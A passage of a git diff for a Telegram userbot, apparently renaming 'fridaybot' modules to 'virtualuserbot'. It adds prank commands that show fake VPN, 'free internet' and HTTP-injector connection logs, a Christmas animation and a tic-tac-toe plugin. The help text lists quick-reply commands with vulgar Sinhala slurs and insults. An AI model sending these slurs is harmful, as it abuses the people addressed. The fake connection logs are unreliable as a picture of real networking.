asyncio.sleep(0.5) + await event.edit("🌩 **Connecting..**") + await asyncio.sleep(0.5) + await event.edit("🌧 **Connecting...**") + await asyncio.sleep(0.5) + await event.edit("💥 **Connection Established**") + await asyncio.sleep(1) + await event.edit("☁️ ** VPN Connected**") + await asyncio.sleep(2) + + +@bot.on(admin_cmd(pattern=f"fileunlock$", outgoing=True)) +@bot.on(sudo_cmd(pattern=f"fileunlock$", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + event = await edit_or_reply(event, "fileunlock") + await event.edit("📁 **File name : Dialog 0 Balance**") + await asyncio.sleep(1) + await event.edit("🔓 **Begin unlocking file...**") + await asyncio.sleep(1) + await event.edit("🔓 **Unlocked 50%**") + await asyncio.sleep(0.5) + await event.edit("🔓 **Unlocked 100%**") + await asyncio.sleep(0.5) + await event.edit("**Please do no share this host for longer use !!**") + await asyncio.sleep(1) + await event.edit( + "**Your Host securaly stored. Get it from below link 👇\nhttps://telegra.ph/Dialog-Host-01-12**" + ) + await asyncio.sleep(2) + + +@bot.on(admin_cmd(pattern=f"freenet$", outgoing=True)) +@bot.on(sudo_cmd(pattern=f"freenet$", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + event = await edit_or_reply(event, "freenet") + await event.edit("**Connecting to Singapore Server 🇸🇬**") + await asyncio.sleep(1) + await event.edit("**Successfully Connected 💯**") + await asyncio.sleep(1) + await event.edit("**හරි පුතේ එල අය ඔයාගේ data කැපෙන්නේ නෑ 👌**") + await asyncio.sleep(1) + + +@bot.on(admin_cmd(pattern=r"ehu$")) +@bot.on(sudo_cmd(pattern=r"ehu$", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + animation_interval = 1 + animation_ttl = range(18) + event = await edit_or_reply(event, "Connecting to Http Injector......") + animation_chars = [ + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested`""", + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started`""", + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection`""", + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting`""", + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256`""", + """`[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-shad256`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +⭕️ NO DDOS !!! +⭕️ NO FRAUD !!! +⭕️ NO CARDING !!! +⭕️ NO HACKING !!! +⭕️ NO TORRENT !!! +⭕️ NO SPAMMING !!! +⭕️ THIS IS NOT FOR SALE !!!⭕️ NO ILLEGAL ACTIVITES !!! +⭕️ AUTO REBOOT @ MIDNIGHT !!! +⭕️Do Not Over Use This Service⭕️⚒ Configured by VirtualUserbot +`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +⭕️ NO DDOS !!! +⭕️ NO FRAUD !!! +⭕️ NO CARDING !!! +⭕️ NO HACKING !!! +⭕️ NO TORRENT !!! +⭕️ NO SPAMMING !!! +⭕️ THIS IS NOT FOR SALE !!!⭕️ NO ILLEGAL ACTIVITES !!! +⭕️ AUTO REBOOT @ MIDNIGHT !!! +⭕️Do Not Over Use This Service⭕️⚒ Configured by VirtualUserbot + + + + Password auth available +[ 16:58:58] Authenticate with password +[ 16:58:59] Forward Successful +[ 16:58:59] Connected +`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +⭕️ NO DDOS !!! +⭕️ NO FRAUD !!! +⭕️ NO CARDING !!! +⭕️ NO HACKING !!! +⭕️ NO TORRENT !!! +⭕️ NO SPAMMING !!! +⭕️ THIS IS NOT FOR SALE !!!⭕️ NO ILLEGAL ACTIVITES !!! +⭕️ AUTO REBOOT @ MIDNIGHT !!! +⭕️Do Not Over Use This Service⭕️⚒ Configured by VirtualUserbot + + + + Password auth available +[ 16:58:58] Authenticate with password +[ 16:58:59] Forward Successful +[ 16:58:00] Connected +`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +⭕️ NO DDOS !!! +⭕️ NO FRAUD !!! +⭕️ NO CARDING !!! +⭕️ NO HACKING !!! +⭕️ NO TORRENT !!! +⭕️ NO SPAMMING !!! +⭕️ THIS IS NOT FOR SALE !!!⭕️ NO ILLEGAL ACTIVITES !!! +⭕️ AUTO REBOOT @ MIDNIGHT !!! +⭕️Do Not Over Use This Service⭕️⚒ Configured by VirtualUserbot + + + + Password auth available +[ 16:58:58] Authenticate with password +[ 16:58:59] Forward Successful +[ 16:58:59] Connected +[ 16:58:59] Starting Injector VPN Service +[ 16:58:59] Network available: [type: WIFI[] - WIFI, state: CONNECTED/CONNECTED, reason: (unspecified), extra: "VirtualUserbot", roaming: false, failover: false, isAvailable: true] +[ 16:58:59] DNS Forwarding: Google DNS +[ 16:58:59] Preparing DNS forwarding +[ 16:59:00] Starting DNS forwarding +[ 16:59:00] Google DNS enabled +[ 16:59:00] DNS forwarding enabled +[ 16:59:00] Routes: 0.0.0.0/0, 8d.8.4.4/32, 8.8.8.8/32 +`""", + """` +[ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) +[ 16:58:55] [START] service requested +[ 16:58:55] Network Status: CONNECTED to WIFI "VirtualUserbot" +[2021-01-12 16:58:55] Injector Service Started +[ 16:58:55] Local IP: 192.188.800.100 +[ 16:58:55] Starting listening local port: 8989 +[ 16:58:55] Starting - Network Task +[ 16:58:55] Remote Proxy Address:140.238.246.145:8080 +[ 16:58:55] Listening for incoming connection +[ 16:58:56] Start tunnel service +[ 16:58:57] Buffer Size: Send: 16384 | Receive: 32768 +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] Running - Proxy Thread +[ 16:58:57] locked Payload +[ 16:58:57] Injecting +] Status: 200 (Connection established) Successful - The action requested by the client was successful. +[16:58:58] Hostkey fingerprint: 94:20:97:11:83:fd:f7:ca:c6:0d:61:17:79:5d:51:e3 +[16:58:58] Key exchange algorithm: curve25519-sha256 +[16:58:58] Using algorithm: aes256-ctr hmac-sha2-256-etm@sh.com +[2021-01-12 16:58:58] Username: VirtualUserbot +[16:58:58] Server Message: +⚡️ VirtualUserbot Server 🎮  +🔥 Powered By VIRTUALUSERBOT +☬ Special Thanks To My Master +⭕️ NO DDOS !!! +⭕️ NO FRAUD !!! +⭕️ NO CARDING !!! +⭕️ NO HACKING !!! +⭕️ NO TORRENT !!! +⭕️ NO SPAMMING !!! +⭕️ THIS IS NOT FOR SALE !!!⭕️ NO ILLEGAL ACTIVITES !!! +⭕️ AUTO REBOOT @ MIDNIGHT !!! +⭕️Do Not Over Use This Service⭕️⚒ Configured by VirtualUserbot + + + + Password auth available +[ 16:58:58] Authenticate with password +[ 16:58:59] Forward Successful +[ 16:58:59] Connected +[ 16:58:59] Starting Injector VPN Service +[ 16:58:59] Network available: [type: WIFI[] - WIFI, state: CONNECTED/CONNECTED, reason: (unspecified), extra: "VirtualUserbot", roaming: false, failover: false, isAvailable: true] +[ 16:58:59] DNS Forwarding: Google DNS +[ 16:58:59] Preparing DNS forwarding +[ 16:59:00] Starting DNS forwarding +[ 16:59:00] Google DNS enabled +[ 16:59:00] DNS forwarding enabled +[ 16:59:00] Routes: 0.0.0.0/0, 8.8.4.4/32, 8.8.8.8/32 +[ 16:59:00] Routes excluded: 10.0.0.0/8, 140.238.246.145/32, 172.16.0.0/12, 192.168.0.0/16 +[ 16:59:01] VPN Connected +[ 16:59:02] Type: WIFI | State: CONNECTED | "VirtualUserbot" +`""", + ] + for i in animation_ttl: + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 18]) + + +@borg.on(admin_cmd(outgoing=True, pattern="merrychristmas")) +async def _(event): + + if event.fwd_from: + return + await event.edit("**.\n\n😊 ℍ𝕠 ℍ𝕠 ℍ𝕠... 🎅🏻\n\n.**") + await sleep(1.6) + await event.edit("🎉") + await sleep(3) + await event.edit("🎊") + await sleep(3) + await event.edit("💔") + await sleep(1.5) + await event.edit("❤") + await sleep(3) + await event.edit(".\n\n\n😊𝓜𝓔𝓡𝓡𝓨 𝓒𝓗𝓡𝓘𝓢𝓣𝓜𝓐𝓢😁\n\n\n.") + await sleep(3) + await event.edit("🥳") + await sleep(3.3) + await event.edit("⛄") + await sleep(3.4) + await event.edit("🌨🌨🌨🌨🌨\n\n❄❄❄❄❄\n❄️❄️❄️❄️❄️") + await sleep(2.8) + await event.edit("☃️") + await sleep(3.7) + await event.edit("🥶") + await sleep(3.7) + await event.edit("🎄") + await sleep(3.2) + await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.") + await sleep(2.9) + danish = await bot.send_file(event.chat_id, "https://t.me/mcmc2021/36") + await sleep(4) + x = random.randrange(0, 30) + if x == 1: + await bot.send_file(event.chat_id, img1) + + if x == 2: + await bot.send_file(event.chat_id, img2) + + if x == 3: + await bot.send_file(event.chat_id, img3) + + if x == 4: + await bot.send_file(event.chat_id, img4) + + if x == 5: + await bot.send_file(event.chat_id, img5) + + if x == 6: + await bot.send_file(event.chat_id, img6) + + if x == 7: + await bot.send_file(event.chat_id, img7) + + if x == 8: + await bot.send_file(event.chat_id, img8) + + if x == 9: + await bot.send_file(event.chat_id, img9) + + if x == 10: + await bot.send_file(event.chat_id, img10) + + if x == 11: + await bot.send_file(event.chat_id, img11) + + if x == 12: + await bot.send_file(event.chat_id, img12) + + if x == 13: + await bot.send_file(event.chat_id, img13) + + if x == 14: + await bot.send_file(event.chat_id, img14) + + if x == 15: + await bot.send_file(event.chat_id, img15) + + if x == 16.0: + await bot.send_file(event.chat_id, img16) + + if x == 17: + await bot.send_file(event.chat_id, img17) + + if x == 18: + await bot.send_file(event.chat_id, img18) + + if x == 19: + await bot.send_file(event.chat_id, img19) + + if x == 20: + await bot.send_file(event.chat_id, img20) + + if x == 21: + await bot.send_file(event.chat_id, img21) + + if x == 22: + await bot.send_file(event.chat_id, img22) + + if x == 23: + await bot.send_file(event.chat_id, img23) + + if x == 24: + await bot.send_file(event.chat_id, img24) + + if x == 25: + await bot.send_file(event.chat_id, img25) + + if x == 26: + await bot.send_file(event.chat_id, img26) + + if x == 27: + await bot.send_file(event.chat_id, img27) + + if x == 28: + await bot.send_file(event.chat_id, img28) + + if x == 29: + await bot.send_file(event.chat_id, img29) + + if x == 30: + await bot.send_file(event.chat_id, img30) + + +CMD_HELP.update( + { + "Sinhala_Jokes": "\n**Config Fun**\n\n.freenet `- fun`\n.ehu `- Ehi file connecting`\n.cyfiles `- cyh connecting`\n\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n.bs\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`\n.aks - `අනියම් කාම සේවනය තරයේ හෙලා දකිමි`\n.ja - `ජීවිතය අනියතය.. මරණය නියතය මහනවීම සැපය `\n.tah - `ටහුකන්න අලංකාර`" + } +) diff --git a/fridaybot/modules/fun.py b/virtualuserbot/modules/fun.py similarity index 100% rename from fridaybot/modules/fun.py rename to virtualuserbot/modules/fun.py diff --git a/fridaybot/modules/funarts.py b/virtualuserbot/modules/funarts.py similarity index 96% rename from fridaybot/modules/funarts.py rename to virtualuserbot/modules/funarts.py index b6d96e17..6be489b7 100644 --- a/fridaybot/modules/funarts.py +++ b/virtualuserbot/modules/funarts.py @@ -1,7 +1,8 @@ from telethon.tl.types import ChannelParticipantsAdmins +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, sudo_cmd -from fridaybot import CMD_HELP @bot.on(admin_cmd(pattern="join$")) diff --git a/fridaybot/modules/funnyfonts.py b/virtualuserbot/modules/funnyfonts.py similarity index 95% rename from fridaybot/modules/funnyfonts.py rename to virtualuserbot/modules/funnyfonts.py index 2bb9a43d..12cb9257 100644 --- a/fridaybot/modules/funnyfonts.py +++ b/virtualuserbot/modules/funnyfonts.py @@ -2,9 +2,10 @@ import random import re +from virtualuserbot import CMD_HELP +from virtualuserbot.modules import fonts + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP -from fridaybot.modules import fonts @bot.on(admin_cmd(pattern="str(?: |$)(.*)")) diff --git a/fridaybot/modules/funtxt2.py b/virtualuserbot/modules/funtxt2.py similarity index 92% rename from fridaybot/modules/funtxt2.py rename to virtualuserbot/modules/funtxt2.py index 38c4ed1a..eb1f994e 100644 --- a/fridaybot/modules/funtxt2.py +++ b/virtualuserbot/modules/funtxt2.py @@ -1,7 +1,8 @@ import nekos +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP @bot.on(admin_cmd(pattern="tcat$")) diff --git a/fridaybot/modules/fwd.py b/virtualuserbot/modules/fwd.py similarity index 92% rename from fridaybot/modules/fwd.py rename to virtualuserbot/modules/fwd.py index 7554c8a9..71d2540b 100644 --- a/fridaybot/modules/fwd.py +++ b/virtualuserbot/modules/fwd.py @@ -1,8 +1,8 @@ """Enable Seen Counter in any message,Credits To Xtra-Tg Owner to know how many users have seen your message Syntax: .fwd as reply to any message""" -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="frwd")) diff --git a/fridaybot/modules/gamersdp.py b/virtualuserbot/modules/gamersdp.py similarity index 95% rename from fridaybot/modules/gamersdp.py rename to virtualuserbot/modules/gamersdp.py index 9f7ec849..3470c141 100644 --- a/fridaybot/modules/gamersdp.py +++ b/virtualuserbot/modules/gamersdp.py @@ -7,8 +7,8 @@ import requests from telethon.tl import functions -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd COLLECTION_STRINGZ = [ "star-wars-wallpaper-1080p", diff --git a/virtualuserbot/modules/games.py b/virtualuserbot/modules/games.py new file mode 100644 index 00000000..991acfb2 --- /dev/null +++ b/virtualuserbot/modules/games.py @@ -0,0 +1,49 @@ +# Plugin made by @hellboi_atul for DARK COBRA.. +# You can use this..but don't edit/remove these comment lines.. +# This module is for playing tik tak toe game.. +# So wahi...Enjoy + +import re + +from virtualuserbot import bot + +from ..utils import admin_cmd + +IF_EMOJI = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+" +) + + +def deEmojify(inputString: str) -> str: + """Remove emojis and other non-safe characters from string""" + return re.sub(IF_EMOJI, "", inputString) + + +@borg.on(admin_cmd(pattern="playxo(?: |$)(.*)")) +async def nope(doit): + ok = doit.pattern_match.group(1) + if not ok: + if doit.is_reply: + (await doit.get_reply_message()).message + + return + xoxoxo = await bot.inline_query("xobot", f"{(deEmojify(ok))}") + await xoxoxo[0].click( + doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True, + ) + await doit.delete() diff --git a/fridaybot/modules/gangasta.py b/virtualuserbot/modules/gangasta.py similarity index 91% rename from fridaybot/modules/gangasta.py rename to virtualuserbot/modules/gangasta.py index 80df6a37..171576b2 100644 --- a/fridaybot/modules/gangasta.py +++ b/virtualuserbot/modules/gangasta.py @@ -1,7 +1,7 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("gangasta ?(.*)")) diff --git a/fridaybot/modules/gdbye.py b/virtualuserbot/modules/gdbye.py similarity index 89% rename from fridaybot/modules/gdbye.py rename to virtualuserbot/modules/gdbye.py index a3bb840e..4de7bee0 100644 --- a/fridaybot/modules/gdbye.py +++ b/virtualuserbot/modules/gdbye.py @@ -5,34 +5,30 @@ import asyncio -from telethon.tl.functions.users import GetFullUserRequest from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern=r"gdbye")) async def _(event): - + animation_interval = 2 animation_ttl = range(0, 11) - - + await event.edit("Thanks for contacting me..\n I'm Going to leave now...") animation_chars = [ - "**Bye 🙏\n Ending this chat 😒**", "**I'm leaving this chat now 🙏**", "You can again contact me anytime you like", "Please Don't forget to Join @InfinityJE our group", "**Have a Good Day.. **", "බොහොම ස්තූතී මාත් එක්ක කතාකරාට.. 🙏\n මම දැන් මේ chat එකෙන් පොඩ්ඩක් එලියට යනවා..😜 \n ඔයාට සුබ දවසක් වේවා..\n\n✌️ **LEFT THE CHAT** ✌️", - - ] + ] for i in animation_ttl: await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 11]) - + CMD_HELP.update( { diff --git a/fridaybot/modules/gdrive_download.py b/virtualuserbot/modules/gdrive_download.py similarity index 100% rename from fridaybot/modules/gdrive_download.py rename to virtualuserbot/modules/gdrive_download.py diff --git a/fridaybot/modules/get_admin.py b/virtualuserbot/modules/get_admin.py similarity index 95% rename from fridaybot/modules/get_admin.py rename to virtualuserbot/modules/get_admin.py index 17ab9d7f..e6e5e63b 100644 --- a/fridaybot/modules/get_admin.py +++ b/virtualuserbot/modules/get_admin.py @@ -6,8 +6,8 @@ ChannelParticipantsAdmins, ) -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("get_ad?(m)in ?(.*)")) diff --git a/fridaybot/modules/get_bot.py b/virtualuserbot/modules/get_bot.py similarity index 94% rename from fridaybot/modules/get_bot.py rename to virtualuserbot/modules/get_bot.py index 7c2f95df..6d5f510f 100644 --- a/fridaybot/modules/get_bot.py +++ b/virtualuserbot/modules/get_bot.py @@ -2,8 +2,8 @@ Syntax: .get_bot""" from telethon.tl.types import ChannelParticipantAdmin, ChannelParticipantsBots -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("get_bot ?(.*)")) diff --git a/fridaybot/modules/get_id.py b/virtualuserbot/modules/get_id.py similarity index 81% rename from fridaybot/modules/get_id.py rename to virtualuserbot/modules/get_id.py index ec49a414..d0e01e42 100644 --- a/fridaybot/modules/get_id.py +++ b/virtualuserbot/modules/get_id.py @@ -2,8 +2,8 @@ Syntax: .get_id""" from telethon.utils import pack_bot_file_id -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("get_id")) @@ -19,13 +19,13 @@ async def _(event): bot_api_file_id = pack_bot_file_id(r_msg.media) await starkisgreat.edit( "Current Chat ID: `{}`\nFrom User ID: `{}`\nBot API File ID: `{}`".format( - str(event.chat_id), str(r_msg.from_id), bot_api_file_id + str(event.chat_id), str(r_msg.sender_id), bot_api_file_id ) ) else: await starkisgreat.edit( "Current Chat ID: `{}`\nFrom User ID: `{}`".format( - str(event.chat_id), str(r_msg.from_id) + str(event.chat_id), str(r_msg.sender_id) ) ) else: diff --git a/fridaybot/modules/gettime.py b/virtualuserbot/modules/gettime.py similarity index 68% rename from fridaybot/modules/gettime.py rename to virtualuserbot/modules/gettime.py index 5d038ff7..e23ae2d3 100644 --- a/fridaybot/modules/gettime.py +++ b/virtualuserbot/modules/gettime.py @@ -1,10 +1,6 @@ - from datetime import datetime -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd,edit_or_reply - - +from virtualuserbot.utils import edit_or_reply, friday_on_cmd @friday.on(friday_on_cmd("gettime ?(.*)")) # pylint:disable=E0602 @@ -14,15 +10,15 @@ async def gn(event): current_time = datetime.now().strftime( "CURRENT DATE & TIME \nLOCATION: Sri Lanka \nTime: %H:%M:%S \nDate: %d.%m.%y" ) - start = datetime.now() + datetime.now() input_str = event.pattern_match.group(1) - reply_msg_id = event.message.id + event.message.id if input_str: current_time = input_str elif 